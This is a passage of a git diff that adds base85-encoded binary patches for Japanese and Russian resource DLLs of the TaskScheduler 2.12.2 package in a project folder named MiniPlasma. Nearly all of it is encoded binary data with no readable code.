zA5kK4#WPvm;ynJWNH}bmHmcAQB{sfZwHqRx9Q!^L(N(*Tu_+Rpl-Sh#nJD*_l=x=( zN_=w|%aYh=pU3O-KxuqX#m~UtZ?=s3oO**V_pB^^WnGP7)@oWa^1Bn$isGS7PuCaI zK}(!IrsMp79l?+gEf>2eT|(!H080poJ{Iw)M4y;vFe=bQXr;YwHQdCN<~TfdZj8~BfiP0h)-7$ zg)5`)diqkgu%4`@3IO)#aE?-iB+C6%exvXC!IXXrG7>9E{FR}?4I8izrPG+F!c|Dr zYpD834?ilH8>ok>_=Kf$8wX#GUxz+PNi$T2qw*J3%lk01S;!d{2RA0h&QSyxU)F@- z#WScxU{WELGhcj6g;n}EcS?H1%>XWk-cB)}Lpwh{sTE++X#znz)SZ$p7jltAbk4$2 zJD}n$X+VWRst6E8Dn`21XtEONL+3G6x(nf#1A;IJx&`6fZ~lx z=}9a8ZhkEneod#H>D{4xJ73^c!S3l9=VEYS(m!5*2o}HtjlT2Nr@RCGA*lUF9UTk& E4~BG%!TXbkKCtTLYj3?;+lr!G-u= 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..ae1b7bf83a260ea8f5af4b4c7e11235a19cba8ae GIT binary patch literal 10240 zcmeHMd0Z4%o`2;{jA$adsDu;(YBJc;4Mt?ua49-SM8RV+UQJU#YagT!1doL7ju#%0 zs36fvqGAjl=&aF*Mlr{j#4*melVo?Z=GZ9#`Q*}Zotd3Y%zl5by6A2i8Fu$Ge@zNr z)qC%EAMaK5?`1!^jrC-V^+NmM2gXk0NmmNLcYUh>IP~E&q3pGg528*BGe3yRD>mB2 z5}UQirZJfj74DPK4tcNGM*w@3L0aBc)y3DH%*ZK{Hnkm^RosDuq$OPq0+za=^fG(t`hLg zqD~59;eDvn;abYr{T-&dH53`^=ZDx2|WNfL%X15tI z$#qLXhnPm9`CTc{USpF?Rv>a+mjXzyF2^RyRRiiCeD37Gx1u| zpNf}Xjw-r!@@sL-m1$|=j;jB7=UmYXvAOBJlP7KYdP?gvj}KdWVnof+%cD;{xN!2% zw>@zHx?Z{T?Rf!8R-u`4%k2)yteGR(txlUkvbXo0hN!kiX|(JZObb0r7GCDZG{oYV~ZA5uNxxuIz6?3ddXKKIV{`UmChOK;8I@#}9| zck~ycc76Bm)w(+m{OLg0#mYm;*6BxgyW5b@h{o>GzuYNWxY4Pac6VZ~<427A)7p^`#d_vZ5 zBEp~fW5j?3m!tA>+oBIHnX5T+r)HdSzCLl-e>Y94EE_x}_t6(qKffB9c6e__`h}ez zP5XA;#mqy$zWUS1MNwIKFSTY>SO(7zx7}H2di#?_yZbL&e4^jj;`@iKE{=G%rTA3r zhvu45`trYcAopjWRiQlt7sg<3_#FLZy%`$}_(hD* z!oPWdVN2m_W*5ejG2ei>Px>-u0e%IN`yBfHL6-@Zw{oKE=Y7l6Jm@J>OG zr@${2us>rw7x;_tyoR}T;Bg!CZv%HE=1!x9VeTu)s6~GabZbTXU;z55%)lJX$gIo) z!^>F-lUO=NW-Mtv<_eezGd7TdS!c*oSs4%v%n3FU8x6EkouTCdNZh7^vmWwHJc}Rg z9JLq-#*nE}>5hj)ax^nQ?48TyIY=4>^3W$_b zlq5SWut;LR0O+x)u-*oRY-|ZUWP|QSTp=55A)+)O7IL@*1`Y_c;l7VFQGMetE&>sV zoX$O6%mtCq5>BND9m$CW%J7*GWXD7>cnrYd*)Z~FUL&(XWdUk22*wioY(&F^2_qO& z`26MD*?6Fc9Z>=;v$MrO8kq~0!IALi_AJoGq90bGtomRr~#6;b|iPsMaOn+uz1W!wcqc%b{zKx>8nwQLC1BNX+gPKON?SXyIR z76*jkfe4hdv_Q%Mp4Jsu#})t#GyU0TfV~YI)I}Z7>_8gTHPRDY-FWsiP~*FYs^kWx z`gRb-1QMw$!wO|+jnJAXXSA7iuyracg%c@xwd}pl_^9AC@UX)z1|WXZJwzQFh#fFU zvtW)1EDDGnVmJe8)7sH8Er1==o(X>yp;-W43NX^uKL)-9sYJ0XSdTyyWy{jC{XoQW z^5;c4UBp+2BOtC?_A!vLoH`=Y4o<;W6QDO<9dUmh%@w{Q(&0x?&LM z3CaTlHVgXX?Na4HGTLEGUeeKc6L%?5-Dd(>7(mt`WAhLmGhCu&>jCVLlIpu%-I{g* zr9<+lDE=GNexP;OU{o~UHg)daNWS&`t9$FDF13&E&BwRk=*y+UnpQOmTvLAr;-i6~ z>>N>9d<!YFpw8LZN)Uw2Z~vU~0S*E%lmOF^b%j`p#qC0l z`GaiOCmijdlK_P)RP<_~w}+4JtSW0J-|Kx;Z>m(}Rb{UzXlHp@m6iuqMzHjO{uv-4 zHhosMD7z2Io@&{BT6Q0l-N$6l2HE|5bJZKN>qPVVGqS5zh?G4wvgfGmJ}!IeWzWli z-#Gbt^QN5u%I-}xF<45RdFWOK=kL{EfY@w$>3_q6}G; zutr=JpPaKs=+km+YfH@mq3y;ERdIyl z)CY*jcgybWB)Kni5TT18j3rfEih_GK2&0=DUT8gEFT1?VZ`7@C*$EB}vU?x-&;7dW zIVgKh2r>6W^s`CmNw)U6QB`xJVyzI~`s`lV*Sxt}We<&NV1W=NyN}AA1KbOTo7Wy7 zz1`2KZYrNQoT9(XmF9U5ABX@Ec+& zyLQN~S25uS3W0?@c87(*@Q}7a*gpdb{EdjX(e3s1v(PB1H^qDONE7y1DCQ zPb~t#nIK5}d15vR4-dFc_Jcv7I962hI+yLcoqvQCy`+ulkTzUTDBz7`YvXY&lp9SLA}zs``#&rQkD@YCvHmo)CkN05a2OtH*?K?; zH{rx8IGZS!1JRl{tZ%743I&5$!HfHdn`c9ptbAwzth93IL{>*j*!&n#8_W>yabl`CZHJi9$%ro(jI3H}DA^zbBx)ke2(?G=bsQ zCoZbnmQvv{AwEGnk!E`1%K)`lwCJZ%2nHIp=v;@*XeqK2#s&P0LK%rg&&}n(y{OC` zojG?#2A=;4SOi*hn#r1vF?6Z zw1pGemsaG@_xGC@9VfZ&zQAdnQqT^Jd19>as1<6O-3}?btqb&U-T( zcWxT<#`nu+-Aev!cSPRxRl5=|Ne`K}z8|`yM^eqW)itwCwUa)1WZ`7XqE-_x>MaGL4$o5M zw81V~3q=a3*d9@!JAs4~Grh?qw(B5LJoFBT5bgX>14nIEyF)}y6j)c-#feE8afSmr zm`hB?Ld1=WG*}Bj5hv=4ifmGm-r=1#<7mTJ0$tnHAiW@uIFY(IP12i;DB z606OjVQh%N24xx@)1CPu^4{#U7#-z|jS$$-_M{fysuy+f@w&0PcpXlY1_-R5PNUUn zU^Hs$-t#8Jn>A2hq+al)o=Y*dB;9JuFqyLTMvJnJB}qexPS+2ypy#K1!5n^^`QLj0 z!39xx&{3cAmO}U{0(mOi>~u^nNWuFEKiJjlLhnR$=b`$&1ox?I4tg_C@_qv28MseF zpRRMgzP(H9UD@5$UA_lv7Qa}At zw*&60rg8*!yq5@F1zzr_@*Dl059ah8--+Ux`j?0bH+;Zu3SWVi3Rh-cuc7KEy^yJ3 zZbd!Rh@Y@jZWAF_#8crkRlwErE(o6MWp2lCH@0B8}*rMMUj@inC+^ z6$YsyKpYjV6#tQz$R0Y6q0*fhPZ1bILD=&-#{!I3aL7cK1YJeMhM=UW8Q3N~3(*u0 zQT>3dq^dvxr!Qi080#Uc2-;BXl%xk@o4G|)AXUysL|%ms^oDZyrP`ISwvoNqkP9&b7bp~HhG@T6KDU76tFz;T-sF%{eMg1k)g*dB2e z;Lu)Z&oMe^v2$;e1!|#}@PebD@%lA^M_!F?aBLY%#21%O#yrUId4zaV=4km{$sw96 zgSQ2~ddSB%=uAHGS@(a}N5i8>xkPm$I*qeKKGo!D@6N%;r@&@nmf~yTUMqpGlwx=> ze8M`J6Inextm7+EhjUlz=@?!z*qF$USzdZtal}r2_f74 z>|b`mnK|eDp6B;CGxv9>U3DM3j4?J4?ZO4dp2w4}x#HgUtrOs^t6s=rKgoP+;`7p? zwF_3%TS0?s2CrID&;6!P^^6!Xv>?j5ZXRQcq|4aWY5vxj zv=7;UiNmB}jOAixs5_hWcX)ENxoC`y6#W6N-ZVk_i>niN%vapbu&%kA36=gOp3xyq z;W|*pSPgaNGM1A;owVx~#)hX&^=rr(8dAWTGBNa+IuWjH-RX0y#+wxH3co{nhUce4Mq11)=wAdHh>Lcho>|4 zM;J3x%rf?`oUt#n8LPvyGdkDTNF=udca#e&k25esuJ;UHg8QH)qk!pG|ltyLw#LL+m$Q->&}c z(#405-kmXJ?B~$+$Qz%&EJ4YwXnK9vc2vJ-nQEIsOHu83Z<#9lRI8BtZN;>7t*MZ& zP%T?CjX9;BBKj-jl|kJJTIw7_4LX*r7xKDblddT>YPi8{SB*JM*Ig%1SEkSK&MGNY zi)PNs?yL9`T zfB0nkFlpkhuU`rURX10#JPJO$htr0y^%YDle2F<_t2O_kH0^5=FL}+n}t?}rZiWNTYcM$ zhM) ztg1Zl{p0gLz4K7@6K@{7al)F3H4Q)bq^8pt-I!yYU#%Z}cg>z*Z8z^5GPQO1*xOoj z@A&uD=O(}H-#JANfAO7 zjEx5T5XLXUz72q3OA$G<3*$MMe;RY|4ra^%ekX$a=jaauT{ZBgpjD&44b2AbF6;vb z&|ilj$|HZ_`WpCE=>G?BKZ30NX!oJ51pZXOe}#4&_%*=G0{>ru$3Nq_7w|XmTtN8f z`#?V!c+WwPTfwg!us>nE9QbSSJb}48!Q&j}4+3`*=AK8(#@uPh*p2?TpxY;CZ;e2| zoGHv<8Z()Jg@;*ysjLzsKT=x8oR8_4u|NuDy&=zI>w%!KAlRsE4A7?ZhE@+CahnIu zGUVy(YM@@*J8CNw2(em_*!YuK3wo76=e=o`%wi>wva8q<*2u~sLT6Q=4ugjRz?g*W zWE#^2k#eq*vu>x8YykfeqT zMHUdx7_w_BvUQbMsmz*$u0FN|XcKy(Ed^gyG#^_Hl-!;u%YY!mC1KVA1l}7$5SB6^ z(0~uk-jS9A*p5akH`sbtRI=a8F&$>hv1ZDQO+d&=HD3j2P1xVdcJ`#M#2U!4lw)4@ zED*+}Qd7)Qf`kD++!wf*ody`oOjfQ6>@9GJC3O+Y#GWvvZ=}US-6EC`)S~{Oy0Jl_ zUJ9auRH9gBm{5jtgmNOxZUAE1TIaEKFd_x7m#ylJPYhfE9yZLP05RM@#A3F)e~2aQ zNg$^Aa3R#D-0`wE0ZdbS5$uKdf#P2F0l)~?WFI6F()HrGo_eIBxLcN&m0`<9IwkX> zm~Ign;-vW1%f3tddrxHA!O8it0QeW66!WHjh;4K9J7tFKKVG?+1h8z8Iuhg5p5I zW^wFNDyNds4x>j&hvQA$r^MJklgffVIMO1v0q*g`Bwn@_z_gHzz1w43(?+1A1y2km zd4t*tw6qN-hL+f-p1e3xBENrjah+nR_Ugs?BogkoKuX(fVj899)F~ido9fEm5#8kb z66l`Z(Jz*Q!|>5n);me6vl8#RO1x3&vx>fGydb}bmtwB00m?Ta$G8UHPG85L6?bdR3U4T*y|HiR{$WW$g1vM;fu2z51>$_0jxBzOn@cGI`PP-!*&v1)@ft})!bN7veTNRxf0-|XJgbr)Bs`ejX* zMiVTgsgBOuO@GkP+GR(|+)&cNHx!lCbx1=iOmb1#IHfx4vhGfIUI#pc- zH7KRLULbMh!qR2nD-9|SI;JHJgDp07ZB`PDCcyI%@B?PdrDl*ZOs5zNqPWN1mNvBgjApp?@XvkTU*+Kz1a zWD7jP(u5kh`z0Tl!AAsU)HIq(j&M4p@k`QXxMGq)2wlnvSP?ZsEX{UHg|o2&4%^$( zgjIKVq&%!JNju)G>5j!CP&T4=-yuy9D|Cm37UWYo zOhZA^UM7T$Eact$t%Lh~-J48zW#&}_=F8m6?u}O_6kuYjw-Fp;G za_4ljg}e$Wr1QLVGZb=)&+a?G#@m6Cg@}sH3WmiP`Y1*NrV{DeOx_W~%6uKt5|JbD zj%=tr#GNprSco7VafZYpiD5|}3=4$*PRN9Tz-StZd9>81<`LP470A-GIs_*o0D(o) z0%pj8MUlVcO9Z&QauZe*H65Z5Y0NFN30_p&q9#g8x9Iv@ zQq%Vrkd7gv$vtc)<)z0OBE^l8B8s6=LfKfFQ-t=B-pTuDmb*%kOhnaN?7KMe*q5>@ zQ#ZWyasT2k$CXTBkBx;AJSZYYlQM5qk)GU=Bhv6nGnx~C4!OmQXw~d9V!Ar0x2Rq`RDl6Ec zNf`~uM@3^5^*2^X48JIGQ5|?46*5bTO1!gZW)QwKP}@bz--yC8(5U6tJC;_hL? z*dgWt?Md9nvlEhs<%^lWWuKv6!m?GZXlm3Ex0Xxs~B>V!1Uy?X>7%IjjpSw!T zt~Gr@UA>;gYQ`*H@NL#r#X<3ymD{%JZ_>jJnxm`b4y@Z0bX4Y1@IHtGt5jRDv;Yw# zP-2uwf&gB-JppwV#4AouK&2T7TUtwNFQECFu14$H3A$QMu}s@+c07%mQBv$_knQ$* zrB$WHSvX0EmCAj(&iaYV0+&LC_5sy$@al?};B8MpPl&^T4Hp)_Kl`rVFZ=50nior+ z`R_504S9?W`B`N3im|01-km*uU2b62GanQ@x^iaGAKq7T-}}Y*rw4LL%If?lR)ABW zPR6!_M+UhT<7M^bUOF10=-EH%vYQ_J@rKCK?>$_7aL3`o+e_s$XR6ljSpU5RrDb>h zr?YL|vey>v|NeKs_0rdEOU{0=YL#&bkMdPD-RwRGV~t}<+GE| zJ^ITUweg)v63gq;m?%u2m00H~7;2s7!9#FKli$b8;w;dlcwFAmIc~)^#4&fs;RE2O^?hZaBI#ZHFT!@Udp|Su;I+ zp#vTK0bOf`--JlT^ns#~%PlRI+9EsAX+Mriv;cICt3i4}9&sXdaXKaIS_JY;gWJJC zz_c6>V^>OSWVPljz=ts6p1#eUFk|B-HYOg_{FS}DxTvUjYH?99PNzmlY)G-kTkOH2 zQIC(FU%}t(&(!DC>v_e_xfokpX*oVM z{WImKyBo)L!HDVdY6DhwoWrJ^MLdZjAgLi{GDB0gOOl=7m~PruY{z!TL} zfxw;_$f2tw%KcQUGw^%9C#SE#Mq)+rzfx4VVFPwXI*oZMT=_-4hN_?R0;PhviF&Ap zpRiPJ>fpM@ynVhym*fl2}&x&a#kE2 zQ(={UoVz7Gl4gRIW8H2spJR0jep0KTqSJ%~cekX=gEO91@UOY$kN&@C`vpQ$MhEJe$#63sL=mR!LO> zpP+AHg&5PBQ46%8+9^p-#rBI8QGwJwAK|cix;5Oxuh{xxI>oH(R_|!-8cvB4@j-e9 z!If4;)eUS>INul*_ctAc(BZ*iJgHVkS2cJz$bukz%HwfCR;GDuXSjSgw3p&BMh7i) zrbV$A0FLWJ!t3b;Pt>j@!t*ij_Vg`drT9Wh$XJnL5#mje;}v%|hG=d*tSyP`AsbuJ znQW3+-CwScM|h87iRwgj8fQa3)#Pcft;5Hn#1>(e{HqJA1z;<;a^4D?uwLdk+Y1X9 zi;OJBxhwUG8D0w5m}nhKqV$w;#5I=FG;+Q5|Fxdg!oThgK>0?c^n?}vZ+@LA{F=%; q-MhW{cDA4^huu?moc_?lq<_7>2^PQ$jeaYRr2k*_*XtW+f&T%6V}wWm literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..1332292dbc8c1c89bdf875241a43b045a4d8b340 GIT binary patch literal 10752 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 